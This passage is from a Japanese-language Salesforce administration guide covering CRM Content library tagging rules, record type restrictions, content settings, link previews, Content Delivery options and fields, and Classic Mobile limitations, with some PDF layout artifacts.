
Content の管理」

または

ライブラリ権限定義の
「ライブラリの管理」

Salesforce CRM Content では、タグは、コンテンツを分類および整理するための説
明ラベルのことです。寄稿者は、自分のファイル、コンテンツパック、Google

ドキュメント、または Web リンクにタグを割り当てることによって、すべての
ライブラリメンバーがタグによってコンテンツを参照できるようにします。ラ
イブラリでのタギングルールによって、寄稿者がコンテンツにタグを付ける方
法が決まります。たとえば、制限付きタグであれば、寄稿者は新しいタグを作
成できません。ライブラリのタギングルールは省略可能です。デフォルトでは、
ライブラリの寄稿者が任意のタグを入力できます。
ライブラリにタギングルールを割り当てる
1. [ライブラリ] タブで、[私のライブラリ]エリアからライブラリを選択します。
2. [タギングルール] をクリックし、次のオプションから 1 つ選択します。

説明ライブラリのタギングルール

このルールは、タグ付けに制限を課
しません。寄稿者は、コンテンツを
公開または編集するときに任意のタ
グを入力できます。タグが入力され
ると、Salesforce CRM Content が、寄稿
者が最近使用したタグと [人気のある
タグ] に基づいてタグのオートコンプ
リート機能が実行されます。

オープンタギング

このルールでは、寄稿者がコンテン
ツを公開または編集するときに任意

ガイド付きタギング

のタグを入力できますが、推奨タグ
のリストも提供されます。[ガイド付
きタギング] を選択した場合は、次の
ステップで、ライブラリの寄稿者に
推奨するタグの入力を求められます。

このルールでは、寄稿者が推奨タグ
のリストから選択する必要がありま

制限付きタギング

す。[制限付きタギング] を選択した
場合は、次のステップで、推奨タグ
のリストの入力を求められます。

3. [ガイド付きタギング] または [制限付きタギング] を選択した場合、すでにワークスペース内のコンテンツ
に使用されているすべてのタグを [推奨タグ]項目に自動追加するリンクをクリックし、必要に応じてタグ
を編集、追加、または削除します。[推奨タグ]項目に自動追加しない場合は、この項目に入力した新しい
タグが、ライブラリの推奨タグになります。

4. [保存] をクリックします。
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ライブラリのタギングルールに関するメモ
• [オープンタギング] がデフォルトのタギングルールです。
• 制限付きタギングルールを使用しているライブラリにコンテンツを公開、共有、または移動した場合に、

コンテンツに未サポートのタグが含まれているとエラーメッセージが表示されます。
• 別のライブラリとコンテンツを共有した場合は、最も制限の厳しいタギングルールが適用されます。例:

– 制限付きタギングのライブラリと、ガイド付きまたは制限付きタギングのライブラリの間でコンテンツ
を共有した場合、選択できるのは両方のライブラリに共通のタグのみです。

– オープンタギングのライブラリと制限付きタギングのライブラリの間でコンテンツを共有した場合、選
択できるのは制限付きタギングのライブラリで推奨されるタグのみです。

• コンテンツがすでにライブラリで公開された後に制限付きタギングルールが適用され、そのルールによっ
て許可されていないタグが既存のコンテンツに含まれてしまった場合は、そのコンテンツが編集または修
正されるまで、タグはコンテンツに割り当てられたままになります。たとえば、「Q3Forecast」という
ドキュメントに「マーケットインジケータ」タグが付けられており、新しい制限付きタギングルールで「マー
ケットインジケータ」が推奨タグでない場合は、ファイルの新バージョンを公開したとき、またはコンテン
ツの詳細ページでそのファイルのタグを編集したときに、「マーケットインジケータ」が「Q3Forecast」
から削除されます。

• タグを使い過ぎないようにします。検索エンジンでは、特定のコンテンツを容易に検索できます。一方、
タグは参照と登録が可能です。そのため、タグを使い過ぎると無用に複雑になります。

• タグ名の変更も削除もできません。ドキュメントからタグを除外できますが、タグは削除されません。
• タグでは、大文字小文字は区別されません。大文字と小文字が異なる場合でも、2 つのタグに同じ名前を付

けることはできません。元のタグの大文字・小文字が常に使用されます。

関連トピック:

ライブラリの作成
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ライブラリでのレコードタイプの制限

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レコードタイプを使用可
能なインターフェース:
Salesforce Classic と
Lightning Experience の両方

レコードタイプを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レコードタイプを制限す
る
• 「ファイルのレコード

タイプおよびレイアウ
トの管理」

または

「Salesforce CRM
Content の管理」

ライブラリ管理者は、ライブラリで使用可能なレコードタイプを選択できます。
また、ライブラリにコンテンツを公開する場合のデフォルトのレコードタイプ
も設定できます。
ライブラリで許可されるレコードタイプを制限する手順は、次のとおりです。
1. [ライブラリ] タブで、[私のライブラリ]エリアからライブラリを選択します。
2. [レコードタイプ] をクリックします。
3. 必要に応じて、ライブラリに適用するデフォルトのレコードタイプを変更し

ます。
4. [ライブラリで使用できるレコードタイプを制限] チェックボックスをオンに

します。
5. 次のオプションの一方または両方を選択します。

• あらゆるレコードタイプのコンテンツに対してこのライブラリへのリンクを
許可する  — このオプションは、他のライブラリで公開されているコンテ
ンツを、このライブラリに共有できるようにする場合に選択します。他
のライブラリにあるコンテンツは、使用されているレコードタイプに関
係なく共有できます。

• 既存のコンテンツにレコードタイプの制限を適用しない  — このオプション
は、ライブラリ内の既存コンテンツに対しては警告を表示しないように
する場合に選択します。既存のコンテンツが、そのライブラリから除外
したレコードタイプを使用していても警告が表示されません。このオプ
ションは警告の表示にのみ影響します。既存のコンテンツは、レコード
タイプの制限の影響を受けません。

6. ライブラリで許可するレコードタイプを、[使用可能なレコードタイプ] リス
トから [選択済みのレコードタイプ] リストに 1 つずつ移します。

7. [保存] をクリックします。

レコードタイプの制限に関するメモ
• 公開されているコンテンツがすでにライブラリに存在する場合は、[ライブ

ラリで使用できるレコードタイプを制限]オプションを選択すると、公開され
ているコンテンツで使用されているすべてのレコードタイプが [選択済みの
レコードタイプ] リストに自動的に移動します。

• [ライブラリで使用できるレコードタイプを制限] オプションを選択解除する
と、[選択済みのレコードタイプ] リストのレコードタイプが [使用可能なレコードタイプ] リストに自動的に
移動します。

• ファイルの管理ライブラリを変更するときには、新しい管理ライブラリでそのファイルのレコードタイプ
を許可する必要があります。
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• ファイルをライブラリで共有する場合、共有ライブラリで [あらゆるレコードタイプのコンテンツに対して
このライブラリへのリンクを許可する] オプションがオンになっていない限り、そのファイルのレコードタ
イプを共有ライブラリで許可する必要があります。

• ユーザプロファイルのデフォルトのレコードタイプがライブラリのデフォルトのレコードタイプと異なり、
そのプロファイルのユーザがファイルをライブラリで共有している場合は、ユーザプロファイルのデフォ
ルトが優先されます。ユーザプロファイルにデフォルトが設定されていない場合は、「一般情報」がデフォ
ルトのレコードタイプとして使用されます。

• ユーザプロファイルとライブラリで共有のレコードタイプがない場合、ファイルをライブラリで共有して
いるそのユーザプロファイルのユーザは、ライブラリのデフォルトのレコードタイプを使用できます。

コンテンツ設定
コンテンツ設定をカスタマイズし、コンテンツのプレビューを有効にします。

コンテンツ設定のカスタマイズ
リンク投稿でのコンテンツプレビューの許可
Salesforce では、400 を超える URL ドメインのリッチメディアサポートを提供しています。リンクを投稿に添
付すると、サポートされるリンクは、埋め込み動画、埋め込み画像、およびリッチ記事のプレビューに変
換されます。
コンテンツ配信の設定
コンテンツ配信を使用すると、Microsoft® PowerPoint ファイルや Word ファイルなどのドキュメントを、簡単
にオンライン表示できるように最適化された Web ベースバージョンに簡単に変換できます。コンテンツ配
信を作成したら、リード、お客様、パートナー、および同僚など、任意の受信者に暗号化された URL 送信
して、そのコンテンツが参照またはダウンロードされた回数を追跡できます。コンテンツ配信は、Salesforce

Classic のみで使用できます。ただし Lightning メールは、コンテンツ配信機能にアクセスできる Lightning

Experience ユーザに対するメールの添付ファイルとして配信ベースのリンクを生成します。
コンテンツ配信項目
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コンテンツ設定のカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce CRM Content の
設定を変更する
• 「Salesforce CRM

Content の管理」

[設定] から、[クイック検索] ボックスに「Salesforce CRM Content」と入力
し、[Salesforce CRM Content] を選択して Salesforce CRM Content 組織のデフォルトを
変更します。
Salesforce CRM Content の有効化

このオプションがオンになっている場合、組織の Salesforce CRM Contentは有効
です。

既存および新しいユーザへの機能ライセンスを自動割り当て
このオプションがオンになっていると、SalesforceによってSalesforce CRM Content

機能ライセンスがすべての既存のユーザに自動的に割り当てられます。使用
できるライセンスが不足している場合、ライセンスは割り当てられません。
機能ライセンスの追加が必要な場合は、Salesforce にお問い合わせください。
新規ユーザが作成されると、Salesforce CRM Content 機能ライセンスが使用可能
であれば自動的に割り当てられます。機能ライセンスは、ユーザの詳細ペー
ジの [Salesforce CRM Content ユーザ] チェックボックスに対応してい
ます。

複数言語による検索と寄稿の有効化
このオプションがオンの場合は、コンテンツを公開、編集、または検索する
ときに [言語] ドロップダウンリストを使用できます。この [言語] ドロッ
プダウンリストには、Salesforce がサポートする言語がすべて表示されます。
コンテンツを公開するときに言語を選択しない場合、そのコンテンツはデフォルトで公開者の言語設定に
関連付けられます。個人の言語設定が組織の言語と異なる場合、そのユーザが公開したコンテンツは、組
織の言語ではなくユーザの言語と関連付けられます。

コンテンツパック作成の有効化
このオプションがオンの場合、[新規作成] > [コンテンツパック] オプションが [ライブラリ] タブに表示さ
れ、ユーザは、Salesforce CRM Content の非公開または公開ライブラリにあるドキュメントまたはファイルか
ら、コンテンツパックを作成できます。
組織のユーザがすでにコンテンツパックを作成した後にこのオプションをオフにした場合は、これらのパッ
クは削除されません。そのため、ユーザは、説明、タイトル、カスタム項目などのメタデータの編集を続
けることができます。ただし、コンテンツパックの作成が有効でなくなると、既存のパックをカスタマイ
ズまたは編集できなくなります。具体的には、コンテンツ詳細ページの [コピーとカスタマイズ] ボタンお
よび [編集] > [コンテンツパックの編集] オプションが使用できなくなります。

高度なドキュメントビューアの有効化
このオプションがオンの場合、高度な一連のナビゲーションオプションとカスタマイズオプションをドキュ
メントビューアで利用できます。ドキュメントが、リード、見込み客、または同僚に送信されるコンテン
ツ配信であっても、Salesforce CRM Content 内で表示されるドキュメントであっても、または Salesforce Files の
ファイルであっても、ドキュメントビューアを使用すれば、ドキュメントをダウンロードしなくてもプレ
ビューできます。ドキュメントビューアには 3 つのモードがあります。コンテンツの詳細ページにある [プ
レビュー] タブ (プレビューモード)、コンテンツ配信 URL (配信モード)、全画面モードです。全画面モード
は、コンテンツの詳細ページまたはコンテンツ配信にある全画面オプションをクリックすると表示されま
す。Chatterでは、ユーザはフィード、ファイルリスト、[ファイル] タブのファイルをプレビューできます。
[高度なドキュメントビューア] 設定を使用すると、ユーザに次のドキュメント表示機能が提供されます。
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• ドキュメントツールバーで次のページ ( )、前のページ ( )、最初のページ ( )、最後のページ ( )

の各アイコンを使用する他に、右クリックして [次のページ]と [前のページ]を選択し、ドキュメントを
1 ページずつ移動できます。右クリックメニューは、プレビューモードでは表示されません。

• ページ番号を入力して Enter キーをクリックすると、そのページに直接ジャンプできます。このオプショ
ンは全画面モードでは使用できません。

• 右クリックメニューから [幅を合わせる] オプションを選択するとドキュメントの幅を拡張でき、[ペー
ジ全体を合わせる] オプションを選択するとドキュメントのページ全体を参照できます。幅全体表示ア
イコン ( ) とページ全体表示アイコン ( ) は、ツールバーにもあります。

• 右クリックメニューから[全画面]オプションを選択するとドキュメントを全画面モードで参照でき、[終
了] オプションを選択すると全画面モードを終了できます。全画面アイコン ( ) と終了アイコン ( )

は、ツールバーにもあります。
• 右クリックメニューから [ズーム/イン] または [ズームアウト] を実行できます。拡大アイコン ( ) と縮

小アイコン ( ) は、ツールバーにもあります。
• スクロールバーを使用すると、[次のページ] および [前のページ] アイコンをクリックしなくても、ド

キュメント内を連続して移動できます。連続スクロールは、プレビューモード、およびそれ以外のモー
ドでも PowerPoint ドキュメントでは使用できません。

• キーボードの矢印キーを使用して、ドキュメントを 1 ページずつ移動できます。ドキュメントビューア
をクリックして、次のようにキーを使用します。
– 右矢印キー: PowerPoint ドキュメントの次のスライドに移動、および PDF、Word または Excel ドキュメ

ントの次のページに移動します。
– 左矢印キー: PowerPoint ドキュメントの前のスライドに移動、および PDF、Word または Excel ドキュメ

ントの前のページに移動します。
– 上矢印キー: PowerPoint ドキュメントの前のスライドに移動、および PDF、Word または Excel ドキュメ

ントのページを上にスクロールします。
– 下矢印キー: PowerPoint ドキュメントの次のスライドに移動、および PDF、Word または Excel ドキュメ

ントのページを下にスクロールします。
キーボードの矢印キーを使用した移動は、プレビューモードでは使用できません。

コンテンツで Office 2007 プレビューを有効化 — パイロット
このオプションがオンになっていると、PowerPoint、Word、Excel などの Microsoft Office 2007 ファイルをSalesforce

CRM Content および Chatter で全体としてプレビューできます。Salesforce CRM Content では、ドキュメントの内
容が適しているものかどうかを判断するのためにサイズの大きいドキュメントをダウンロードする必要が
ありません。コンテンツの詳細ページを使用して、ドキュメントのタイトル、著者、説明、タグ、ライブ
ラリ、コメント、投票数、バージョン、登録者、ダウンロード数などのドキュメントの詳細を表示できま
す。ドキュメントが Microsoft PowerPoint、Word、Excel、または Adobe® PDF ファイルである場合、そのドキュ
メントをダウンロードすることなく、ブラウザでファイル全体をプレビューすることができます。ファイ
ルの一定の側面がプレビューに表示されないことがあります。著作権で保護されている PDF はプレビュー
できません。
[ファイル] タブ、ファイル詳細ページ、グループとプロファイルのファイルリストから Chatter フィードの
ファイルもプレビューできます。

メモ: このオプションがオフになっていると、Microsoft Office 2007 プレビューを生成した後、そのプレ
ビューは使用できなくなります。
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Salesforce CRM Content で Salesforce Files を表示
このオプションがオンになっている場合、Salesforce CRM Content の検索に Salesforce Files が含まれます。[コン
テンツ] タブと [ライブラリ] タブの検索ドロップダウンリスト、および [コンテンツ] タブの条件には、[すべ
てのファイル]、[会社と共有]、[私のグループ]、および [私のライブラリ] が含まれます。
一方、このオプションがオフになっている場合、Salesforce CRM Content の検索に Salesforce Files は含まれませ
ん。[コンテンツ] タブと [ライブラリ] タブの検索ドロップダウンリスト、および [コンテンツ] タブの条件に
は、[すべてのライブラリ]、[非公開ライブラリ]、およびユーザがメンバーであるすべての共有ライブラリ
が含まれます。

関連トピック:

Salesforce CRM Content のカスタマイズ
リンク投稿でのコンテンツプレビューの許可

リンク投稿でのコンテンツプレビューの許可

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Developer Edition、および
Database.com Edition

Salesforce CRM、承認、
Chatter メール通知、
Chatter への招待、顧客招
待は、Database.com
Edition では利用できませ
ん。

ユーザ権限

Chatter を有効にする
• 「アプリケーションの

カスタマイズ」

Salesforce では、400 を超える URL ドメインのリッチメディアサポートを提供して
います。リンクを投稿に添付すると、サポートされるリンクは、埋め込み動画、
埋め込み画像、およびリッチ記事のプレビューに変換されます。
リンクプレビューを有効化するには、Chatter を有効化する必要があります。
リッチメディアコンテンツは、サードパーティサービスの Embed.ly によって提供
されます。コンテンツ、ユーザ、組織、取引先データは Embed.ly と共有されませ
ん。共有されるのはドメインホワイトリストにある URL のみです。また、すべ
ての URL 要求は Salesforce プロキシ経由で渡されます。Embed.ly がクライアントか
ら直接コールを受け取ることはなく、したがって URL 要求を行ったユーザに関
する情報を知ることはありません。
1. [設定] から、[クイック検索]ボックスに「Chatter 設定」と入力し、[Chatter

設定] を選択します。
2. [編集] をクリックします。
3. [リッチリンクプレビューを許可] を選択します。
4. [保存] をクリックします。
動画 URL のサムネイル、説明、動画プレーヤーなど、リッチメディアコンテン
ツへのリンクを含む投稿はプレビューとして表示されます。フィードの投稿で
リンクがリッチプレビューとして表示されない場合、そのリンクの URL ドメイ
ンがサポートされていないか、Embed.ly が URL のプレビューコンテンツを返せま
せんでした。
リッチメディアプレビューは、デフォルトで有効になっています。リッチメディ
アプレビューを無効にした場合、ユーザがプレビューできるのは YouTube コミュ
ニティからの動画のみです。
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メモ: サポートされている URL のドメインの索引リストについては、「URL Domains for Rich Link Previews in

Feeds」を参照してください。

関連トピック:

コンテンツ設定のカスタマイズ

コンテンツ配信の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

コンテンツ配信を有効ま
たは無効にする
• 「アプリケーションの

カスタマイズ」

コンテンツ配信を使用すると、Microsoft® PowerPoint ファイルや Word ファイルなど
のドキュメントを、簡単にオンライン表示できるように最適化された Web ベー
スバージョンに簡単に変換できます。コンテンツ配信を作成したら、リード、
お客様、パートナー、および同僚など、任意の受信者に暗号化された URL 送信
して、そのコンテンツが参照またはダウンロードされた回数を追跡できます。
コンテンツ配信は、Salesforce Classic のみで使用できます。ただし Lightning メール
は、コンテンツ配信機能にアクセスできるLightning Experienceユーザに対するメー
ルの添付ファイルとして配信ベースのリンクを生成します。
コンテンツ配信には、こうした追跡機能に加えて、添付ファイルとしてファイ
ルを送信する方法にはない複数の利点があります。たとえば、配信を閲覧者に
公開する期間や、閲覧者にファイルのダウンロードを許可するのかオンライン
表示だけを許可するのかを制御できます。デフォルトでは、コンテンツ配信に
は、配信されるファイルの最新バージョンが表示されます。
コンテンツ配信は、多くの Salesforce オブジェクトの [コンテンツ配信] 関連リス
トから作成できます。Salesforce CRM Content ユーザは、コンテンツ詳細ページま
たは [関連コンテンツ] 関連リストからもコンテンツ配信を作成できます。
1. [設定] から [クイック検索] ボックスに「コンテンツ配信」と入力し、[コンテンツ配信] を選択し、

[Salesforce Files のコンテンツ配信の作成を有効化]を有効にします。コンテンツ配信機能にアクセス
できない場合は、Salesforce カスタマーサポートに連絡して、この機能を有効にしてください。

2. コンテンツ配信パスワードのデフォルトオプションを選択します。コンテンツ配信 URL は、リード、顧客、
または認証されていないユーザに送信されることがあるため、ユーザがコンテンツ配信で機密ドキュメン
トを送信する場合は、パスワード保護を要求することをお勧めします。次のオプションにより、コンテン
ツ配信のパスワード保護に関する組織の共有設定を選択できます。
• パスワード保護は省略可能でデフォルト値はオフ — このオプションがオンの場合、ユーザはコンテン

ツ配信の作成時にパスワードを必要とするかどうかを選択できます。ただし、作成配信ウィザードの
[コンテンツへのアクセスにパスワードが必要] 項目はデフォルトではオフです。

• パスワード保護は省略可能でデフォルト値はオン — このオプションがオンの場合、作成配信ウィザー
ドの [コンテンツへのアクセスにパスワードが必要] 項目はデフォルトではオンです。パスワードを必要
としない場合、ユーザはこのオプションをオフにできます。

• パスワード保護は必須 — このオプションがオンの場合、コンテンツ配信を作成するたびに、パスワー
ドが生成されます。ユーザはパスワード要件を外すことはできません。
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メモ:

• パスワードを要求するように選択すると、コンテンツ配信を作成したユーザは、配信が生成される
とパスワードを受け取ります。ユーザはそのパスワードと配信 URL を配信の受信者に送信する必要
があります。配信の受信者がコンテンツ配信 URL をクリックすると、パスワードの入力を求められ
ます。

• コンテンツ配信パスワードは、配信が作成されるとコンテンツ配信 URL と共に表示されます。その
コンテンツ配信が有効である間は、配信詳細ページでもパスワードを確認できます。

コンテンツ配信が有効になると、すべてのユーザは、リード、法人取引先、取引先責任者、商談、ケース、
キャンペーン、またはカスタムオブジェクトについて、それぞれのページレイアウトに [コンテンツ配信] 関連
リストを追加する必要があります。すべてのSalesforce CRM Contentユーザには、それぞれのコンテンツ詳細ペー
ジに [コンテンツの配信] オプションが表示されます。

実装のヒント
• サービス品質を保証するため、24 時間以内に許可されるコンテンツ配信の合計参照回数は 20,000 回に制限

されます。また、コンテンツ配信に割り当てられる帯域幅量も、24 時間で10 GBに制限されます。受信者が
制限を超えて配信を参照しようとすると、後でもう一度試すように依頼する通知が表示されます。Salesforce

では、例外的にこの制限値を増やせる場合があります。詳細は、営業担当者にお問い合わせください。
• コンテンツ配信を作成すると、Salesforce は元のファイルをコピーし、ファイルのオンライン表示専用の新

しいバージョンを作成します。サポートするファイルの種類については、次のとおりです。
– Microsoft® Office 97 から Microsoft Office 2007 までの Word、Excel、および PowerPoint のファイルは、オンライン

表示をサポートします。
– Adobe® PDF ファイルは、オンライン表示をサポートしますが、著作権で保護されている PDF のオンライ

ン表示はサポートしません。
– JPG、BMP、GIF、および PNG は、オンライン表示をサポートします。
– 25 MB を超えるドキュメントは、オンライン表示をサポートしません。
どのような種類のファイルでもコンテンツ配信を作成できますが、オンライン表示をサポートしていない
ファイルの種類の場合、受信者にできるのはそのドキュメントを元のファイル形式でダウンロードするこ
とのみです。

• URL を受信者に送信する前に、コンテンツ配信を必ずプレビューしてください。場合によっては、色や標準
でないフォントなど、元のファイルの書式設定がオンラインバージョンでは正しく表示されない可能性が
あります。オンラインバージョンの品質に問題がある場合は、コンテンツ配信ウィザードで、そのコンテ
ンツを元のファイル形式でダウンロードできるようにするオプションを選択できます。

• コンテンツ配信には、Adobe Flash バージョン 9.0.115 が必要です。受信者が Flash をインストールしていない
場合、ダウンロードオプションが表示されます。

• カスタマーポータルおよびパートナーポータルのユーザは、コンテンツ配信を作成できません。
• 配信レコードの削除や詳細 (有効期限など) の編集が行えるのは、コンテンツ配信の作成者のみです。
• コンテンツ配信の URL がクリックされるたびに、1 回参照されたものとして記録されます。また、社内参照

と社外参照は区別されます。社内参照とはSalesforceユーザによる参照のことです。たとえば、配信詳細ペー
ジの配信 URL や [コンテンツ配信] 関連リストの [参照] オプションをクリックすると、社内参照になります。
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[コンテンツ配信] 関連リストには、各配信の合計参照回数が表示されます。特定の参照に関する情報を確
認するには、コンテンツ配信ページを開いてください。

メモ: パスワードで保護されたコンテンツ配信の場合、パスワードを入力してその配信を参照するか
どうかに関係なく、受信者が配信 URL をクリックすると、参照が 1 回記録されます。

• Salesforce CRM Content ユーザは、共有ライブラリまたは個人ライブラリからコンテンツを配信できます。

ベストプラクティス
• コンテンツ配信を作成したら、受信者に URL を送信する前に必ずプレビュー表示して、オンラインバージョ

ンで元のファイルの書式が正しく表示されることを確認してください。たとえば、プレビュープレーヤー
で、色や非標準フォントが正しく表示されないことがあります。オンラインバージョンの品質に満足でき
ない場合は、[前へ]をクリックして、コンテンツを元のファイル形式または PDF 形式でのみ公開するように
します。受信者は公開されたファイルをダウンロードできます。配信者は、ファイルがダウンロードされ
たかどうかを配信詳細ページで追跡できます。

• コンテンツ配信のオンラインバージョンでは、PowerPoint ファイルのアニメーションとタイミングはサポー
トされていません。また、ハイパーリンクは、すべてのファイルの種類でサポートされていません。サポー
トされるファイルの種類のリストについては、「コンテンツ配信の設定」を参照してください。

• Salesforce CRM Content ユーザが、自分のコンテンツ配信の受信者に、配信作成時のバージョンではなく、常
に最新バージョンのファイルを参照させるには、配信詳細ページを開いて、[編集]をクリックします。[コ
ンテンツ配信で最新のバージョンを開く] チェックボックスをオンにします。

• [最初に参照またはダウンロードされたら私に通知]をオンにすると、コンテンツ配信が最初に参照されたと
き、メールで通知されます。

ストレージの影響
Salesforce CRM Contentでは、コンテンツを共有ライブラリに公開したり、非公開ライブラリに保存したりすると
きにファイルストレージを使用します。コンテンツ配信の作成では、ディスク使用制限にさらに影響が及ぶこ
とはありませんが、コンテンツ配信を目的として個人ライブラリにファイルを頻繁にアップロードするユーザ
は、組織のファイル容量制限を考慮する必要があります。管理者は、レポート機能を使用して、どのユーザが
最もストレージを消費しているか、サイズの大きなファイルはどれかを特定できます。
Salesforce CRM Content以外のユーザの場合、コンテンツ配信を作成するたびにファイルストレージが消費されま
す。Salesforceにいったんアップロードすると、複数のコンテンツ配信でファイルを再利用することはできませ
ん。同じファイルを含む複数のコンテンツ配信を作成する場合、毎回ファイルをアップロードする必要があり
ます。コンテンツ配信を削除すると、Salesforceにあるソースファイルが削除されるため、ファイルストレージ
容量は増加します。

関連トピック:

Salesforce CRM Content の設定
コンテンツ配信項目
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コンテンツ配信項目

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce CRM Content を
使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

次の表示では、コンテンツ配信を構成する項目 (アルファベット順) を説明しま
す。これらの項目は、作成配信ウィザード、[コンテンツ配信] 関連リスト、また
は配信詳細ページにあります。

説明項目

この項目をオンにすると、カスタム
Web ページ内でコンテンツ配信をオン
ライン参照できます。配信詳細ページ
では、この項目のラベルは [ブラウザ
での参照を許可] です。

受信者にブラウザでの参照を許可

この項目をオンにすると、コンテンツ
配信機能によって、Microsoft® Word、
Excel、PowerPoint 形式のファイルが PDF

ファイルに変換され、受信者は PDF

ファイルとしてダウンロードできるよ
うになります。アップロードしたファ
イルが PDF、Word、Excel、PowerPoint の

受信者に PDF でのダウンロードを許可

いずれでもない場合、このオプション
は作成配信ウィザードに表示されませ
ん。配信詳細ページでは、この項目の
ラベルは [PDF でのダウンロードを許
可] です。

この項目をオンにすると、コンテンツ
配信機能によって、受信者は元のファ

元の形式でのダウンロードを許可

イルをダウンロードすることができま
す。作成配信ウィザードで、この項目
は [受信者にファイルの種類としてダウ
ンロードを許可] と呼ばれ、ファイル
の種類 は、.ppt、.pdf、または .doc など
元のファイルのファイルの種類です。

Salesforce CRM Content ファイルの場合、
ファイルを公開したユーザ。(参照のみ)

著者

コンテンツ配信に割り当てられた名
前。デフォルトで、[コンテンツ配信

コンテンツ配信名

名] にはファイル名と作成日が含まれ
ます。

Salesforce CRM Content ファイルの場合、
このフラグはコンテンツ配信の受信者

コンテンツ配信で最新のバージョンを開
く

は、最新バージョンのファイルを表示
することを示します。たとえば、ファ
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説明項目

イルが配信作成日と本日の日付との間に更新される
と、本日の配信を表示する受信者には、最新バージョ
ンが表示されます。

コンテンツ配信に対するアクセスが有効期限で期限切
れになるかどうかを示すフラグ。作成配信ウィザード

コンテンツ配信が期限切れ

では、[コンテンツに対するアクセス権を削除] 項目の
横になるチェックボックスに相当します。

コンテンツ配信を作成したユーザ。作成日時を含みま
す。(参照のみ)

作成者

Salesforce CRM Contentファイルの場合、ファイルを公開
するときに指定する説明。(参照のみ)

説明

コンテンツ配信を参照できなくなる日付。作成配信
ウィザードでは、これは [コンテンツに対するアクセ
ス権を削除] 項目に入力された日付です。

有効期限

コンテンツ配信に含まれるファイルがダウンロードさ
れたかどうかを示すフラグ。たとえば、コンテンツ配

ダウンロードされたファイル

信に、コンテンツをブラウザで表示する、コンテンツ
を元のファイル形式でダウンロードする、コンテンツ
を PDF ファイルとしてダウンロードするオプションが
用意されている場合に、受信者が元のファイルまたは
PDF ファイルでダウンロードしたとき、このフラグは
オンになります。(参照のみ)

Salesforceユーザがコンテンツ配信を参照したかどうか
を示すフラグ。ユーザがSalesforce内から配信 URL を開

社内参照

いた場合は、社内参照とみなされます。たとえば、
[コンテンツ配信] 関連リストの [表示]オプションをク
リックした場合や、配信詳細ページの配信 URL をク
リックした場合などは社内参照になります。ユーザが
URL をコピーして自分が使用しているブラウザに貼り
付けた場合は、社外参照とみなされます。(参照のみ)

コンテンツ配信を最後に変更したユーザ。変更日時を
含みます。(参照のみ)

最終更新者

コンテンツ配信が最後に参照された日時。コンテンツ
配信 URL が 1 回クリックされたら参照とみなします。
(参照のみ)

最後の参照

この項目をオンにすると、コンテンツ配信を作成した
ユーザは、コンテンツ配信 URL が最初にクリックされ
たとき、メールによる通知を受信します。

最初に参照またはダウンロードされたら私に通知
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説明項目

コンテンツ配信を所有するユーザ。(参照のみ)所有者 氏名

コンテンツ配信が関連付けられているレコード (取引
先、商談、カスタムオブジェクトなど)。レコードに

関連先

対する共有アクセス権を持つユーザは、レコードをク
リックすることでさらに詳細な内容を表示できます。

この項目をオンにすると、受信者は、コンテンツ配信
を表示する前に、与えられたパスワードを入力する必

コンテンツへのアクセスにパスワードが必要

要があります。パスワードは、コンテンツ配信を生成
するときとその配信が有効である間、配信詳細ページ
に表示されます。

Salesforce CRM Contentファイルの場合、コンテンツ配信
に含まれるファイルのタイトル。(参照のみ)

役職

コンテンツ配信の合計参照回数。社内参照と社外参照
の両方を含みます。(参照のみ)

参照カウント

関連トピック:

コンテンツ配信の設定

4282

コンテンツ設定コラボレーションツールの設定および管理



Salesforce Classic Mobile 用の Salesforce CRM Content の設定
エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

ユーザ権限

Salesforce Classic Mobile 設
定を表示する
• 「設定・定義を参照す

る」

Salesforce Classic Mobile
データセットを作成、変
更、または削除する
• 「モバイル設定の管

理」

Salesforce CRM Content が Salesforce Classic Mobile で実装される方法について、次の点
に留意してください。
• コンテンツレコード情報はデバイスに同期されますが、コンテンツレコード

に関連付けられたファイルは同期されません。これにより、ファイルが大き
すぎてモバイルデバイスにダウンロードできない場合でも、ユーザがアプリ
ケーションからコンテンツを配信できます。

• ユーザは、アプリケーションで特定のコンテンツを検索できません。[コンテ
ンツ] タブに表示されたコンテンツのみ共有できます。このコンテンツは、
割り当てられたモバイル設定に基づいてデバイスに自動的に同期されます。

• ユーザは、アプリケーションで登録済みコンテンツのリストを表示できませ
ん。また、特定のライブラリに基づいて [コンテンツ] タブでレコードのリス
トを絞り込むこともできません。

• ユーザはアプリケーションでコンテンツのプレビューおよび共有が可能です
が、コンテンツレコードに関連付けられたファイルの更新はできません。必
要な権限がある場合は、コンテンツの詳細ページの項目を編集できます。

• コンテンツをプレビューおよび配信するには、ユーザにデータ接続が必要で
す。データ接続がない場合、ユーザはコンテンツの詳細ページの参照のみが
可能です。

• Salesforce Classic Mobile のコンテンツは、iPhone デバイスでのみサポートされま
す。

• コンテンツオブジェクトのモバイル権限はブロックできません。現在、
Salesforce Classic Mobile のコンテンツオブジェクトは参照のみです。

• コンテンツオブジェクトのモバイルページレイアウトは編集できません。ア
プリケーションのコンテンツの詳細ページは、いくつかの項目のみを表示す
るようにハードコードされています。

